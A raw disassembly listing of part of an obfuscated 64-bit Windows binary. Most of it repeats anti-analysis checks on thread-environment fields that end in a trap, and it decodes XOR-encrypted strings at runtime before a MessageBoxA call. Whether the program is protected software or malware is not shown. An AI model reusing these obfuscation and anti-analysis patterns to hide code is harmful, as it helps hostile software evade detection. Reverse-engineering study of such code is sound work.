mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019a77
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019a77
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019a97
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
movdqa xmm0, xmmword [0x1400dbce0]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400dbde0]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0x379c6ab5
mov dword [rbp + 0xbec], 0x4b335348
mov dword [rbp + 0xbf0], 0x706069cb
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.140027a88
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
add rdi, r13
cmp rdi, 0x2c
jb 0x140019ae0
mov byte [rbp + 0xbf4], r14b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.14000cd38
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x140019beb
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x111ab442
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019bcb
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019bcb
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019beb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x140019c95
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019c75
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019c75
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019c95
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
lea rcx, [rbp + 0x9f8]
call fcn.140018124
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.14000ce48
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.140028ba4
lea rcx, [rbp + 0x9f8]
call fcn.140028ae0
lea rcx, [rbp + 0x9f8]
call fcn.14000d358
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x140019d8d
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019d6d
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019d6d
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019d8d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x140019e37
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019e17
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019e17
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019e37
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.14008d948
int3
mov dword [rbp - 0x68], 0xecc065cc
mov word [rbp - 0x64], 0xe7af
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r14
lea ebx, [rax + 6]
movabs r15, 0x10dca5af9
mov qword [rsp + 0x20], r15
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.140027a10
xor al, dil
mov byte [rbp + rdi - 0x68], al
add rdi, r13
cmp rdi, rbx
jb 0x140019e59
mov byte [rbp - 0x62], r14b
mov dword [rbp - 0x58], 0xecc077d5
mov word [rbp - 0x54], 0xe7af
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r14
mov rsi, r15
movabs r15, 0xee84212ad7c507c8
mov qword [rsp + 0x20], rsi
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.140027a10
xor al, dil
mov byte [rbp + rdi - 0x58], al
add rdi, r13
cmp rdi, rbx
jb 0x140019ea6
mov byte [rbp - 0x52], r14b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.140028e14
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.1400287ec
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.140028940
lea rcx, [rbp - 0x68]
call fcn.14000cea0
mov rcx, rax
call fcn.14000ce48
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.14002862c
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.140028940
lea rdx, [0x1400f8a40]
lea rcx, [rbp + 0xa78]
call fcn.1400287ec
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.140028940
lea rcx, [rbp + 0xa78]
call fcn.140028ae0
lea rcx, [rbp + 0xa78]
call fcn.14000d358
lea rcx, [rbp + 0xa58]
call fcn.140028ae0
lea rcx, [rbp + 0xa58]
call fcn.14000d358
lea rcx, [rbp + 0xa38]
call fcn.140028ae0
lea rcx, [rbp + 0xa38]
call fcn.14000d358
mov rax, qword gs:[0x2c]
cmp rax, r12
mov esi, 0x76bfe48f
jne 0x14001a052
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a032
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a032
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a052
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001a0fc
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a0dc
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a0dc
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a0fc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
lea rcx, [rbp + 0x1208]
call fcn.140028454
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.14008e870
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001a1c0
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a1a0
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a1a0
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a1c0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001a27d
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x111ab442
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a25d
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a25d
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a27d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.14000cdf0
lea rcx, [rbp + 0x10e8]
call fcn.140028b7c
nop
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001a344
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a324
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a324
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a344
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001a3ee
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a3ce
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a3ce
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a3ee
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
lea rcx, [rbp + 0x11e8]
call fcn.140028454
mov r9b, r13b
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.140017c8c
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001a4cc
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x111ab442
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a4ac
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a4ac
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a4cc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov dword [rbp + 0x1e0], 0xcb3c5596
mov dword [rbp + 0x1e4], 0x55291597
mov dword [rbp + 0x1e8], 0xe9f6a957
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r14
movabs rbx, 0x10dca5af9
mov qword [rsp + 0x20], rbx
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.140027998
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
add rdi, r13
cmp rdi, 0xc
jb 0x14001a4ff
mov byte [rbp + 0x1ec], r14b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.140029130
test al, al
je 0x14001aab9
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001a5ff
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a5df
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a5df
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a5ff
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008d948
int3
movdqa xmm0, xmmword [0x1400dbf00]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0xb23cae36
mov word [rbp + 0x7cc], 0x432c
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.1400278ac
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
add rdi, r13
cmp rdi, 0x16
jb 0x14001a62d
mov byte [rbp + 0x7ce], r14b
movdqa xmm0, xmmword [0x1400dbfd0]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400dbdd0]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400dbec0]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400dbdb0]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400dbd70]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400dbcd0]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400dbff0]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400dbd40]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x79608ad3
mov word [rbp + 0xde4], 0xfaf8
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r14
mov ebx, 0x86
movabs rsi, 0x10dca5af9
mov qword [rsp + 0x20], rsi
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.140027920
xor al, dil
mov byte [rbp + rdi + 0xd60], al
add rdi, r13
cmp rdi, rbx
jb 0x14001a715
mov byte [rbp + 0xde6], r14b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, eax
mov rax, qword gs:[0x2c]
cmp rax, r12
mov esi, 0x76bfe48f
jne 0x14001a819
mov rcx, qword gs:[0xd]
xor rcx, r15
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0xd]
xor rcx, r15
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0xd]
xor rcx, r15
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a7f9
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a7f9
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a819
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001a8c3
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a8a3
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a8a3
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a8c3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
cmp edx, 7
je 0x140027620
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001a976
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a956
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a956
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a976
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008d948
int3
movdqa xmm0, xmmword [0x1400dbf10]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400dbe70]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400dbc70]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r14
movabs rbx, 0x10dca5af9
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.140027838
xor al, dil
mov byte [rbp + rdi + 0xc28], al
add rdi, r13
cmp rdi, 0x2f
jb 0x14001a9b3
mov byte [rbp + 0xc57], r14b
lea rcx, [rbp + 0xc28]
call fcn.140091d9c
mov rax, qword gs:[0x2c]
mov edi, 0x111ab442
cmp rax, r12
jne 0x14001aabe
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001aa99
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001aa99
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001aabe
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov edi, 0x111ab442
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001ab68
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ab48
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ab48
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ab68
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.14002899c
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.14001826c
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.140028878
lea rcx, [rbp + 0xab8]
call fcn.140028ae0
lea rcx, [rbp + 0xab8]
call fcn.14000d358
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001ac5b
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ac3b
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ac3b
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ac5b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001ad05
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ace5
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ace5
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ad05
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.140028b50
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001adce
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001adae
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001adae
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001adce
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001ae78
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ae58
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ae58
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ae78
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.14009220c
mov rbx, rax
mov qword [rbp - 0x40], rax
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001af35
mov rcx, qword gs:[0xd]
xor rcx, rsi
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0xd]
xor rcx, rsi
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0xd]
xor rcx, rsi
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001af15
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001af15
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001af35
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001aff0
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001afd0
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001afd0
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001aff0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov r15, qword [rbp + 0x10f8]
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001b0ab
mov rax, qword gs:[0xd]
movabs rcx, 0xee84212ad7c507c8
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b08b
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b08b
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b0ab
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
test rbx, rbx
je 0x140027303
cmp qword [rbp + 0x10f8], r14
je 0x140027303
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001b17c
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
